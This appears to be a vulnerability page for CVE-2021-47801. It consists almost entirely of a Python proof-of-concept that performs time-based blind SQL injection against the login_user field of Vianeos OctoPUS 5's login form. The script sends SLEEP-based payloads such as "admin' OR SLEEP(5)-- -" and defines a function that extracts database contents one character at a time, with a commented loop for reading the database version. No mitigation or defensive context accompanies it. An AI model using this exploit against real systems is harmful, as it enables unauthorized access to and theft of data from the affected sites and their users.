CVE-2021-47801: Vianeos OctoPUS 5 login_user参数SQL注入漏洞

import requests import time # CVE-2021-47801 Time-based Blind SQL Injection PoC # Target: Vianeos OctoPUS 5 login_user parameter target_url = "http://target.com/octopus/login" def test_sqli(payload): """Test SQL injection with given payload""" data = { 'login_user': payload, 'login_password': 'test', 'submit': 'Login' } start_time = time.time() response = requests.post(target_url, data=data, timeout=30) elapsed = time.time() - start_time return elapsed, response # Basic time-based blind SQL injection test payload = "admin' OR SLEEP(5)-- -" print(f"Testing payload: {payload}") elapsed, resp = test_sqli(payload) print(f"Response time: {elapsed:.2f} seconds") print(f"Response status: {resp.status_code}") # Extract single character using time-based technique def extract_char(database, query, char_pos): """Extract character using time-based blind SQL injection""" payload = f"admin' AND IF(SUBSTRING(({query}),{char_pos},1)=CHAR({ord(database)}),SLEEP(5),0)-- -" elapsed, _ = test_sqli(payload) return elapsed > 4 # Example: Extract database version # query = "SELECT @@version" # for i in range(1, 50): # for ascii_val in range(32, 127): # if extract_char(chr(ascii_val), query, i): # print(chr(ascii_val), end='', flush=True) # break